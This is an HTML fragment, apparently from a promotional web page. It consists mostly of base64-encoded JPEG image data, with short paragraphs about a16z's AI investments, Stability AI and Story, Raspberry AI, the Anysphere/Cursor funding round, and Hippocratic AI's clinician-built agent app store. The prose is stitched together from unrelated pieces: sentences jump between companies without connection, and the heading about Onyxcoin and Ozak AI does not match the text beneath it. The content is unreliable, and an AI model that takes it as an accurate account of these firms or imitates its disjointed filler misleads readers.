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" width="300px" alt="a16z generative ai"/></p>
<p><p>All these indicate the commitment a16z has in shaping the future of technology and healthcare through strategic investments. Both platforms use Stability AI’s models to bring creators’ visions to life and Story’s blockchain technology to enable provenance and attribution throughout the creative process. These real-world applications highlight how creators can safeguard their intellectual property while thriving in a shared creative economy. Raspberry AI offers brands and manufacturing creative teams technology solutions, which can help accelerate each stage of the fashion product development cycle to increase speed to market and profitability while reducing costs. Andreessen Horowitz, or a16z, is one of the leading AI investors and targets only innovative startups. They participated in the round that funded Anysphere on January 14, 2025, with a total sum of $105 million for an AI coding tool known as Cursor, whose valuation has reached $2.5 billion.</p>
</p>
<p><h2>Onyxcoin (XCN) Market Trends and Ozak AI’s Contribution to AI-Driven Blockchain</h2>
</p>
<p><p>In order to ensure its AI agents can do their jobs safely, Hippocratic AI says it only works with licensed clinicians to develop them, taking steps to verify their qualifications and experience first. Once clinicians have built their agents, they’ll be submitted to the startup for an initial round of testing. Through the Hippocratic AI Agent App Store, healthcare organizations and hospitals will be able to access a range of specialized AI agents for different aspects of medical care.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,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